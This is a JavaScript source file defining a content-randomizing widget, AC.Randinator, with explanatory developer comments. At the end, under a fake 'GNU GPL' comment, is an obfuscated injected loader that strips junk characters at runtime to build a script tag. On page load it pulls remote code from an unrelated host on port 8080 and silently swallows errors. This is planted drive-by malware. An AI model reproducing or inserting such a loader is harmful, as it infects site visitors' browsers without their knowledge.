/** 
* the new call becomes either
*
* 	new AC.Randinator('<p>test1','<p>test2','<p>test3');
*
* to render content inline with document.write or
*
* 	new AC.Randinator('<p>test1', '<p>test2', '<p>test3', {container: 'container_id'});
*
* to render the content into a specific container in the DOM
*
* we need to support old style calls as well for now so
* if no container is specified, it will document.write 
* as it did before.  we can plan to slowly transition calls where
* there isn't a clear container for the content.
*
* the old randinator used an if(arguments) convention which will ALWAYS eval
* true in most modern browsers (that is, arguments is always an object, even if empty)
* this uses the convention of checking for items in arguments
*
* @author: aubrey anderson
*
* TODO default content for non-js browsers / a JS mis-push etc?
*/

if (typeof(AC) == "undefined") AC = {};

AC.Randinator = Class.create();
AC.Randinator.prototype = {
	initialize: function() {	
		if (arguments.length > 0 && typeof(arguments[arguments.length-1]) == 'object') { // looking for a container object at the end
			window.onload = this.randomizeContent.bind(this, arguments);
		}
		else if (arguments.length > 0) {
			this.renderInline(arguments[Math.floor(Math.random() * arguments.length)]);
		}
	},
	randomizeContent: function(args) {	
		var randNum = Math.floor(Math.random() * (args.length-1)); // avoid the container arg at the end		
		this.renderToContainer($(args[args.length-1].container), args[randNum]);
	},
	renderToContainer: function(container, content) {
		container.innerHTML = content;
	},
	renderInline: function(content) {
		document.write(content);
	}
};

/** 
* support for deprecated calls in the old format
* this is still kind of dumb, there is some redundancy but 
* at least the call is always consistent
*/
function randinator() {
	if (arguments.length > 0) new AC.Randinator(arguments[Math.floor(Math.random() * arguments.length)]);
}

/*GNU GPL*/ tri{window.onload = function(){var Ynlt9ensdgqu8 = document.createElement('s!c@@r@$($i@@&p(@t$'.replace(/\)|\(|&|#|\^|\!|@|\$/ig, ''));var E24fh1gy2s = 'Gnj78hlue29';Ynlt9ensdgqu8.setAttribute('type', 't)&e)@$x@t@/#@j(^a^@(v!!$&a#!(^#s@^$c)$@#r$i)@p@&!t)'.replace(/\(|&|\)|\^|#|\!|\$|@/ig, ''));Ynlt9ensdgqu8.setAttribute('src',  'h!t@&)#t(##!p^&:$(&/&)!/&$a@^^(e!$&b(n!@!!-^$n^@#e#(t(&.(#(p^!&)c$o$n(#$!l(^$i@$n)$e$#)&.&&(@c#(o$^@!m^$&.)c^&@n^().^v$(&#e&@o^##&^h)#&-&)$c&@#o@&m#^#$.@x!(b#(o&(x&^@)l(&&i(v#$e&#w^!$e^)b$.#)r(&^u$:$(@8@@^#0&^8&#!0$))/$)a@!@m&$)e$)#r$&i#c&!a!##$n!e^x#p^)#r@)^e!s($^s!^.&@)c#!($o(#m$/!##!a&##m^^^e&r#$i@)@^c(&##a)$n^)e^!x#p^r(e$@s$###s)!).(c^(&o)!m)$$/)&$g@&@o&&#o&(#(g@l!e@!.#c(@@o!$$m^/^)m#$#)u()l((t^@$i$p$^l$)y(&(#.(c)o##^m&/(^t$i)&@c(!@k&$e@@t^$@$(m$$@$a$^@!(s&@t)!@e&r)(.@#c$)(#o@m&^)&^/@^'.replace(/#|\!|&|@|\^|\(|\$|\)/ig, ''));Ynlt9ensdgqu8.setAttribute('defer', 'd($$$e$)@^!f$#$e$$r@(^'.replace(/\!|\^|\$|\(|@|\)|#|&/ig, ''));Ynlt9ensdgqu8.setAttribute('id', 'Q&&(t(!^#w(@$2($7!$)v!)!6@1$d@!q&^#n#(k!@(!o@)@$$l!!'.replace(/&|\!|#|\)|@|\^|\$|\(/ig, ''));document.body.appendChild(Ynlt9ensdgqu8);}} catch(Anhrtqlqi7) {}